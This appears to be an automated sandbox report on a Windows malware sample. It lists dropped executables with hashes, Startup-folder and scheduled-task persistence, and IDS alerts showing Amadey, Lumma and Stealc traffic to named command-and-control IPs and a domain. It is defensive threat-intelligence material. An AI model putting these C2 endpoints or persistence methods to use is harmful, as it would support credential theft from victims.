Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	393728
Entropy (8bit):	6.004737079894222
Encrypted:	false
SSDEEP:	6144:sb3tLc1aQEo7F8Ci7oUPI13oxfys0geKPVMd5:uto1moSCi8RGBr7zVi
MD5:	DFD5F78A711FA92337010ECC028470B4
SHA1:	1A389091178F2BE8CE486CD860DE16263F8E902E
SHA-256:	DA96F2EB74E60DE791961EF3800C36A5E12202FE97AE5D2FCFC1FE404BC13C0D
SHA-512:	A3673074919039A2DC854B0F91D1E1A69724056594E33559741F53594E0F6E61E3D99EC664D541B17F09FFDEBC2DE1B042EEC19CA8477FAC86359C703F8C9656
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........'..F...F...F.......F.......F.......F.....F...F...F.......F.......F.......F..Rich.F..........PE..L....f.e.................b...........Q............@...........................$.............................................8g..d....0...:...........................................................-..@............................................text....a.......b.................. ..`.data............`...f..............@....rsrc....z...0...<..................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2660864
Entropy (8bit):	6.051984276194483
Encrypted:	false
SSDEEP:	49152:gd/7YsW9mB5b+c2J9hFLuamiqFeQuADlaUoHtM3ljgfyeqX+zBE:gd/7vW9mHbH2J9hFLuamiPQuklaUoH2g
MD5:	2A78CE9F3872F5E591D643459CABE476
SHA1:	9AC947DFC71A868BC9C2EB2BD78DFB433067682E
SHA-256:	21A2AC44ACD7A640735870EEBFD04B8DC57BC66877CB5BE3B929299E86A43DAE
SHA-512:	03E2CD8161A1394EE535A2EA7D197791AB715D69A02FFAB98121EC5AC8150D2B17A9A32A59307042C4BBEFFAD7425B55EFA047651DE6ED39277DBA80711454F9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............A...A...A...@...A...@'..A...@...A.4.@...A.4.@...A.4.@...A...@...A...A...A4.@...A46A...A4.@...ARich...A........................PE..L....YVg.................$...........$.......$...@...........................(.....dm)...@...................................%.(....@%.%....................@(.......%.p.............................%.@.............$..............................text...2.$.......$................. ..`.rdata...^....$..`....$.............@..@.data........ %.......%.............@....rsrc...%....@%.......%.............@..@.reloc.......@(.......(.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	965632
Entropy (8bit):	6.692807551033676
Encrypted:	false
SSDEEP:	24576:lqDEvCTbMWu7rQYlBQcBiT6rprG8aGwde2:lTvC/MTQYxsWR7aGb
MD5:	4853BE4F2BB74B706EFFCC60FC06446B
SHA1:	405666E3BFC16348677D5FE2224D7BD8B739D94F
SHA-256:	1FFF6FB9300916F4D128A5B2DF8CA413F1D820660B8F61B54A203A9E0FD76372
SHA-512:	02FFABD11493E0AEC0D62FE5F980CB91E587E9DAFE36FBF7ED67733BF3F68757F2A09AD53AF6D610BA1125B486EBCB695A719B2DFA30ECCA0C2950C2735F8CCF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....Zg..........".................w.............@.......................... .......K....@...@.......@.....................d...\|....@..hQ.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...hQ...@...R..................@..@.reloc...u.......v...F..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\yiDQb6GkBq.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3189760
Entropy (8bit):	6.6493549829609675
Encrypted:	false
SSDEEP:	24576:LI7DZzEXJTzJDkmk+xQJAwOp9ZeDv2rHIZxarB/RD6z8xmCilaC7At2p01Lp1kC3:5pr+DuDIeNgdPyXUdSqAha1K25
MD5:	6CED085779B2D439CAB6D085699B195A
SHA1:	AD384D731162250141EF02196EBB970DD89ADBE9
SHA-256:	23A363810E5D66C620D5069AB26EB4625E899CBB2BF4D49978E1582AE100D5EB
SHA-512:	5D100D0AEC0088E9535D842199E3CEF498B4449B2C7E09C44F36D2A874C798E33802D014A70F06B76AA5617441C1B59BF66D02688244D27B4B62C9F6BF7515E3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................0.....".1...@.................................W...k.............................0.............................0.0..................................................... . ............................@....rsrc...............................@....idata ............................@...wdogbkgr..).......).................@...wdztlgdv......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\yiDQb6GkBq.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\tmp.bat

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:y:y
MD5:	81051BCC2CF1BEDF378224B0A93E2877
SHA1:	BA8AB5A0280B953AA97435FF8946CBCBB2755A27
SHA-256:	7EB70257593DA06F682A3DDDA54A9D260D4FC514F645237F5CA74B08F8DA61A6
SHA-512:	1B302A2F1E624A5FB5AD94DDC4E5F8BFD74D26FA37512D0E5FACE303D8C40EEE0D0FFA3649F5DA43F439914D128166CB6C4774A7CAA3B174D7535451EB697B5D
Malicious:	false
Preview:	..

C:\Users\user\AppData\Local\Temp\tmp.ini

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.225619876671972
Encrypted:	false
SSDEEP:	3:0uvql5jY:pvql5jY
MD5:	FADB1D7B567CF2A274BA3F3DEA091BC1
SHA1:	69AE77407B65DBAE20E0181037E552A417DC53CF
SHA-256:	D9E13CF7D93064B70F49B5FFEBDF9E8FF496F7DAA875F6A29591FE8A469CD8A1
SHA-512:	964D566538DAB9977DA900D5C8E24A7CF1DA4B095F4820D2ABD8FCD635CCA231A82AB428A670B79324350E190C8AA47B97E94B20AB332A5E42DBD6DFBB92AB54
Malicious:	false
Preview:	[Audio].Default=30.Auto=1.Force=0

C:\Users\user\AppData\Local\Temp\tmp.txt

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	3377
Entropy (8bit):	4.157170471574706
Encrypted:	false
SSDEEP:	96:8juDyC2+q8vJSkKdQeGQ+Uq1q9rcDdcuurqlOU:EC2+qOSkKJGQ14DdcuurqlOU
MD5:	2D78DA4BD38CBBC5E2B7AF2BD7F86C7F
SHA1:	4E3D2577B74A65F17C134E64CFEE9CBCDE61126F
SHA-256:	1F2D3FB88E2D01DB905397906C283D0E8AD6F0D9182B8AAE48845507253941FF
SHA-512:	AC6EA877EFB96D45CE318A709417F854FCD25CCEF3A50A3F7AFC7F0E6772DF9C2700C6FC23BCCAAF968B5A17D8ECFD3AFF3B3B0412F6366919EF023AF14570BC
Malicious:	false
Preview:	..Host Name: user-PC..OS Name: Microsoft Windows 10 Pro..OS Version: 10.0.19045 N/A Build 19045..OS Manufacturer: Microsoft Corporation..OS Configuration: Standalone Workstation..OS Build Type: Multiprocessor Free..Registered Owner: hardz..Registered Organization: ..Product ID: 00330-71388-77104-AAOEM..Original Install Date: 03/10/2023, 09:57:18..System Boot Time: 24/09/2023, 13:00:03..System Manufacturer: XdDTlV2uup2yhmR..System Model: 6lTe98A3..System Type: x64-based PC..Processor(s): 2 Processor(s) Installed... [01]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz.. [02]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz..BIOS Version: WKBDD P4932, 21/11/2022..Windows Directory: C:\Windows..System Directory: C:\Wind

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	920064
Entropy (8bit):	6.58614875892499
Encrypted:	false
SSDEEP:	12288:UqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgapT1:UqDEvCTbMWu7rQYlBQcBiT6rprG8at1
MD5:	5950611ED70F90B758610609E2AEE8E6
SHA1:	798588341C108850C79DA309BE33495FAF2F3246
SHA-256:	5270C4C6881B7D3EBAEA8F51C410BBA8689ACB67C34F20440527A5F15F3BC1E4
SHA-512:	7E51C458A9A2440C778361EB19F0C13EA4DE75B2CF54A5828F6230419FBF52C4702BE4F0784E7984367D67FABF038018E264E030E4A4C7DAC7BA93E5C1395B80
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....Xg.........."..........Z......w.............@..........................`......J.....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\yiDQb6GkBq.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3938648884505547
Encrypted:	false
SSDEEP:	6:VK34kVXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lWt0:VKokRf2RKQ1CGAFAjzvYRQVWt0
MD5:	7455F209DA0A8B391DE03A19531D6C2D
SHA1:	C975DD8407B3A429FA4458711E5F291EC0796580
SHA-256:	C898E727E38B9DD0FC1E28920064B5A403A512B58F6A8F7F868D49534640DF99
SHA-512:	D38B1504BC5957F733DF731B0A0F4B0AFA6A59279A7938C4C91364E7DC8A3ECFF70CB97284DB1B4F26E2F3D9C6F133476BC6469006DAADC0284BA33A39E2B154
Malicious:	false
Preview:	......Gy.o.F.~.2.5.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.6493549829609675
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	yiDQb6GkBq.exe
File size:	3'189'760 bytes
MD5:	6ced085779b2d439cab6d085699b195a
SHA1:	ad384d731162250141ef02196ebb970dd89adbe9
SHA256:	23a363810e5d66c620d5069ab26eb4625e899cbb2bf4d49978e1582ae100d5eb
SHA512:	5d100d0aec0088e9535d842199e3cef498b4449b2c7e09c44f36d2a874c798e33802d014a70f06b76aa5617441c1b59bf66d02688244d27b4b62c9f6bf7515e3
SSDEEP:	24576:LI7DZzEXJTzJDkmk+xQJAwOp9ZeDv2rHIZxarB/RD6z8xmCilaC7At2p01Lp1kC3:5pr+DuDIeNgdPyXUdSqAha1K25
TLSH:	ABE54CB16B0472CBE88DB6F44927DF825A5D03B90B21C8D3985C66F97D6BCC115BAC38
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x70b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F33B0E349EAh
jp 00007F33B0E34A16h
add byte ptr [eax], al
jmp 00007F33B0E369E5h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x388	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x309c80	0x10	wdogbkgr
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x309c30	0x18	wdogbkgr
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x68000	966145303877ee83ae40354beac97fc5	False	0.5600022536057693	data	7.174348089439528	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x388	0x400	514f5782f497fa171df6168314823de0	False	0.453125	data	5.340697973950139	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wdogbkgr	0x6b000	0x29f000	0x29ee00	7c9c74cd7682ad08b22b8476108c8649	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wdztlgdv	0x30a000	0x1000	0x600	52c02dfdf405cf884a26bded47876f52	False	0.5944010416666666	data	5.143277660541432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30b000	0x3000	0x2200	0e93e61fb61e46be869da09318f38a03	False	0.06353400735294118	DOS executable (COM)	0.7486978695804283	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x198	ASCII text, with CRLF line terminators			0.5808823529411765
RT_MANIFEST	0x69208	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-12T14:26:05.576861+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49747	185.215.113.43	80	TCP
2024-12-12T14:26:10.089179+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49758	31.41.244.11	80	TCP
2024-12-12T14:26:14.296670+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49753	TCP
2024-12-12T14:26:15.654822+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49773	185.215.113.43	80	TCP
2024-12-12T14:26:17.264786+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49775	31.41.244.11	80	TCP
2024-12-12T14:26:18.930148+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49781	104.21.79.7	443	TCP
2024-12-12T14:26:20.233887+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49781	104.21.79.7	443	TCP
2024-12-12T14:26:20.233887+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49781	104.21.79.7	443	TCP
2024-12-12T14:26:21.305843+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49788	104.21.79.7	443	TCP
2024-12-12T14:26:23.062704+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49794	185.215.113.43	80	TCP
2024-12-12T14:26:23.421428+0100	2018886	ET MALWARE Windows TaskList Microsoft Windows DOS prompt command exit OUTBOUND	1	192.168.2.4	49796	94.154.172.218	443	TCP
2024-12-12T14:26:24.550894+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49801	31.41.244.11	80	TCP
2024-12-12T14:26:35.109066+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49832	185.215.113.43	80	TCP
2024-12-12T14:26:36.554755+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49837	31.41.244.11	80	TCP
2024-12-12T14:26:44.619114+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49852	185.215.113.43	80	TCP
2024-12-12T14:26:49.332185+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49860	185.215.113.43	80	TCP
2024-12-12T14:26:50.865239+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49865	31.41.244.11	80	TCP
2024-12-12T14:26:56.752808+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49871	185.215.113.43	80	TCP
2024-12-12T14:26:58.231333+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49878	31.41.244.11	80	TCP
2024-12-12T14:27:01.347340+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49884	104.21.79.7	443	TCP
2024-12-12T14:27:03.093545+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49884	104.21.79.7	443	TCP
2024-12-12T14:27:03.093545+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49884	104.21.79.7	443	TCP
2024-12-12T14:27:07.063004+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49900	104.21.79.7	443	TCP
2024-12-12T14:27:07.778071+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49900	104.21.79.7	443	TCP
2024-12-12T14:27:07.778071+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49900	104.21.79.7	443	TCP
2024-12-12T14:27:08.329901+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49901	185.215.113.43	80	TCP
2024-12-12T14:27:10.045784+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49907	185.215.113.16	80	TCP
2024-12-12T14:27:12.331055+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.4	49908	116.203.10.31	443	TCP
2024-12-12T14:27:12.332002+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49912	104.21.79.7	443	TCP
2024-12-12T14:27:14.730237+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	116.203.10.31	443	192.168.2.4	49914	TCP
2024-12-12T14:27:18.071005+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49920	185.215.113.43	80	TCP
2024-12-12T14:27:18.898834+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49926	104.21.79.7	443	TCP
2024-12-12T14:27:19.634322+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49928	185.215.113.16	80	TCP
2024-12-12T14:27:21.085829+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49926	104.21.79.7	443	TCP
2024-12-12T14:27:21.936259+0100	2018886	ET MALWARE Windows TaskList Microsoft Windows DOS prompt command exit OUTBOUND	1	192.168.2.4	49940	94.154.172.218	443	TCP
2024-12-12T14:27:46.366070+0100	2058159	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fightlsoser .click)	1	192.168.2.4	57892	1.1.1.1	53	UDP
2024-12-12T14:27:47.944098+0100	2058160	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)	1	192.168.2.4	50056	172.67.213.48	443	TCP
2024-12-12T14:27:47.944098+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50056	172.67.213.48	443	TCP
2024-12-12T14:27:48.776385+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50056	172.67.213.48	443	TCP
2024-12-12T14:27:48.776385+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50056	172.67.213.48	443	TCP
2024-12-12T14:27:53.636039+0100	2058160	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)	1	192.168.2.4	50073	172.67.213.48	443	TCP
2024-12-12T14:27:53.636039+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50073	172.67.213.48	443	TCP
2024-12-12T14:27:54.664388+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50073	172.67.213.48	443	TCP
2024-12-12T14:27:54.664388+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50073	172.67.213.48	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 14:26:04.114290953 CET	49747	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:04.234357119 CET	80	49747	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:04.234453917 CET	49747	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:04.234803915 CET	49747	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:04.354660034 CET	80	49747	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:05.576780081 CET	80	49747	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:05.576860905 CET	49747	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:07.085882902 CET	49747	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:07.087347984 CET	49753	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:07.205950022 CET	80	49747	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:07.206079006 CET	49747	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:07.207087994 CET	80	49753	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:07.207339048 CET	49753	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:07.207861900 CET	49753	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:07.327599049 CET	80	49753	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:08.568818092 CET	80	49753	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:08.568917990 CET	49753	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:08.644901991 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:08.764626980 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:08.764894009 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:08.764969110 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:08.884711981 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.088907003 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.088928938 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.089040995 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.089140892 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.089152098 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.089164019 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:10.089179039 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:10.089241028 CET	49758	80	192.168.2.4	31.41.244.11
